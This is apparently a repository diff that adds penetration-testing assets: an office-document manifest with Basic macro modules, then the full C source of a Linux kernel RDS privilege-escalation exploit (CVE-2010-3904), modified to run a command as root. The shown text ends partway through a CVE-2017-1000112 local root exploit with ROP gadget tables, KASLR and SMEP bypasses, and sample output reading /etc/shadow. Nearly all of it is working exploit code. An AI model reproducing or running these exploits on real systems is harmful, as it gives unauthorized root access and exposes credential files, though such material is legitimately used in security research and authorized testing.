<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" office:version="1.2"><office:meta><meta:initial-creator>RD_PENTEST</meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>RD_PENTEST</dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:creation-date>2018-05-10T20:29:41.398000000</meta:creation-date><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0" meta:non-whitespace-character-count="0"/><meta:generator>LibreOffice/6.0.3.2$Windows_X86_64 LibreOffice_project/8f48d515416608e3a835360314dac7e47fd0b821</meta:generator></office:meta></office:document-meta>
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
Binary file not shown.
After Width: | Height: | Size: 729 B |
|
@ -0,0 +1,288 @@
|
|||
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
|
||||
|
||||
/*
|
||||
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
|
||||
* CVE-2010-3904
|
||||
* by Dan Rosenberg <drosenberg@vsecurity.com>
|
||||
*
|
||||
* Copyright 2010 Virtual Security Research, LLC
|
||||
*
|
||||
* The handling functions for sending and receiving RDS messages
|
||||
* use unchecked __copy_*_user_inatomic functions without any
|
||||
* access checks on user-provided pointers. As a result, by
|
||||
* passing a kernel address as an iovec base address in recvmsg-style
|
||||
* calls, a local user can overwrite arbitrary kernel memory, which
|
||||
* can easily be used to escalate privileges to root. Alternatively,
|
||||
* an arbitrary kernel read can be performed via sendmsg calls.
|
||||
*
|
||||
* This exploit is simple - it resolves a few kernel symbols,
|
||||
* sets the security_ops to the default structure, then overwrites
|
||||
* a function pointer (ptrace_traceme) in that structure to point
|
||||
* to the payload. After triggering the payload, the original
|
||||
* value is restored. Hard-coding the offset of this function
|
||||
* pointer is a bit inelegant, but I wanted to keep it simple and
|
||||
* architecture-independent (i.e. no inline assembly).
|
||||
*
|
||||
* The vulnerability is yet another example of why you shouldn't
|
||||
* allow loading of random packet families unless you actually
|
||||
* need them.
|
||||
*
|
||||
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
|
||||
* joberheide, bla, sts, and VSR
|
||||
*
|
||||
*/
|
||||
|
||||
// Modified for Metasploit (see comments marked 'msf note')
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define RECVPORT 5555
|
||||
#define SENDPORT 6666
|
||||
|
||||
int prep_sock(int port)
|
||||
{
|
||||
|
||||
int s, ret;
|
||||
struct sockaddr_in addr;
|
||||
|
||||
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
|
||||
|
||||
if(s < 0) {
|
||||
printf("[*] Could not open socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
|
||||
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(port);
|
||||
|
||||
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Could not bind socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return s;
|
||||
|
||||
}
|
||||
|
||||
void get_message(unsigned long address, int sock)
|
||||
{
|
||||
|
||||
recvfrom(sock, (void *)address, sizeof(void *), 0,
|
||||
NULL, NULL);
|
||||
|
||||
}
|
||||
|
||||
void send_message(unsigned long value, int sock)
|
||||
{
|
||||
|
||||
int size, ret;
|
||||
struct sockaddr_in recvaddr;
|
||||
struct msghdr msg;
|
||||
struct iovec iov;
|
||||
unsigned long buf;
|
||||
|
||||
memset(&recvaddr, 0, sizeof(recvaddr));
|
||||
|
||||
size = sizeof(recvaddr);
|
||||
|
||||
recvaddr.sin_port = htons(RECVPORT);
|
||||
recvaddr.sin_family = AF_INET;
|
||||
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
|
||||
|
||||
memset(&msg, 0, sizeof(msg));
|
||||
|
||||
msg.msg_name = &recvaddr;
|
||||
msg.msg_namelen = sizeof(recvaddr);
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
buf = value;
|
||||
|
||||
iov.iov_len = sizeof(buf);
|
||||
iov.iov_base = &buf;
|
||||
|
||||
msg.msg_iov = &iov;
|
||||
|
||||
ret = sendmsg(sock, &msg, 0);
|
||||
if(ret < 0) {
|
||||
printf("[*] Something went wrong sending.\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
|
||||
{
|
||||
|
||||
if(!fork()) {
|
||||
sleep(1);
|
||||
send_message(value, sendsock);
|
||||
exit(1);
|
||||
}
|
||||
else {
|
||||
get_message(addr, recvsock);
|
||||
wait(NULL);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
/* didn't find the symbol, let's retry with the System.map
|
||||
dedicated to the pointlessness of Russell Coker's SELinux
|
||||
test machine (why does he keep upgrading the kernel if
|
||||
"all necessary security can be provided by SE Linux"?)
|
||||
*/
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long sec_ops, def_ops, cap_ptrace, target;
|
||||
int sendsock, recvsock;
|
||||
struct utsname ver;
|
||||
|
||||
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
|
||||
printf("[*] by Dan Rosenberg\n");
|
||||
|
||||
uname(&ver);
|
||||
|
||||
if(strncmp(ver.release, "2.6.3", 5)) {
|
||||
printf("[*] Your kernel is not vulnerable.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
sec_ops = get_kernel_sym("security_ops");
|
||||
def_ops = get_kernel_sym("default_security_ops");
|
||||
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Calculate target */
|
||||
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
|
||||
|
||||
sendsock = prep_sock(SENDPORT);
|
||||
recvsock = prep_sock(RECVPORT);
|
||||
|
||||
/* Reset security ops */
|
||||
printf("[*] Overwriting security ops...\n");
|
||||
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
|
||||
|
||||
/* Overwrite ptrace_traceme security op fptr */
|
||||
printf("[*] Overwriting function pointer...\n");
|
||||
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
|
||||
|
||||
/* Trigger the payload */
|
||||
printf("[*] Triggering payload...\n");
|
||||
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
|
||||
|
||||
/* Restore the ptrace_traceme security op */
|
||||
printf("[*] Restoring function pointer...\n");
|
||||
write_to_mem(target, cap_ptrace, sendsock, recvsock);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
// msf note: modified to execute argv[1]
|
||||
//execl("/bin/sh", "sh", NULL);
|
||||
system(argv[1]);
|
||||
|
||||
}
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,884 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-1000112.
|
||||
// Includes KASLR and SMEP bypasses. No SMAP bypass.
|
||||
// Tested on:
|
||||
// - Ubuntu trusty 4.4.0 kernels
|
||||
// - Ubuntu xenial 4.4.0 and 4.8.0 kernels
|
||||
// - Linux Mint rosa 4.4.0 kernels
|
||||
// - Linux Mint sarah 4.8.0 kernels
|
||||
// - Zorin OS 12.1 4.4.0-39 kernel
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
|
||||
// user@ubuntu:~$ whoami
|
||||
// user
|
||||
// user@ubuntu:~$ id
|
||||
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-58-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [~] done, kernel text: ffffffffae400000
|
||||
// [.] commit_creds: ffffffffae4a5d20
|
||||
// [.] prepare_kernel_cred: ffffffffae4a6110
|
||||
// [.] SMEP bypass enabled, mmapping fake stack
|
||||
// [~] done, fake stack mmapped
|
||||
// [.] executing payload ffffffffae40008d
|
||||
// [~] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# whoami
|
||||
// root
|
||||
// root@ubuntu:/home/user# id
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// sys:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for distros based on Ubuntu kernel
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-1000112
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <linux/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_BYPASS 1
|
||||
|
||||
char* SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_kernel().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* distro;
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t xchg_eax_esp_ret;
|
||||
uint64_t pop_rdi_ret;
|
||||
uint64_t mov_dword_ptr_rdi_eax_ret;
|
||||
uint64_t mov_rax_cr4_ret;
|
||||
uint64_t neg_rax_ret;
|
||||
uint64_t pop_rcx_ret;
|
||||
uint64_t or_rax_rcx_ret;
|
||||
uint64_t xchg_eax_edi_ret;
|
||||
uint64_t mov_cr4_rdi_ret;
|
||||
uint64_t jmp_rcx;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
|
||||
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
|
||||
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
|
||||
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
|
||||
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
|
||||
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
|
||||
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
|
||||
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
|
||||
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
|
||||
{ "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b },
|
||||
{ "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 },
|
||||
{ "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d },
|
||||
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
|
||||
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
// { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b },
|
||||
// { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 },
|
||||
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
|
||||
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
|
||||
// Used when ENABLE_SMEP_BYPASS is used.
|
||||
// - xchg eax, esp ; ret
|
||||
// - pop rdi ; ret
|
||||
// - mov dword ptr [rdi], eax ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
|
||||
// - neg rax ; ret
|
||||
// - pop rcx ; ret
|
||||
// - or rax, rcx ; ret
|
||||
// - xchg eax, edi ; ret
|
||||
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
|
||||
// - jmp rcx
|
||||
#define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
|
||||
#define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret)
|
||||
#define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
|
||||
#define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
|
||||
#define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret)
|
||||
#define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret)
|
||||
#define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
|
||||
#define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
|
||||
#define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
|
||||
#define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx)
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
|
||||
|
||||
uint64_t saved_esp;
|
||||
|
||||
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
|
||||
// can be used to omit a function's prologue, so I had to use this weird
|
||||
// wrapper hack as a workaround. Note: Clang does support it, which means it
|
||||
// has better support of GCC attributes than GCC itself. Funny.
|
||||
void wrapper() {
|
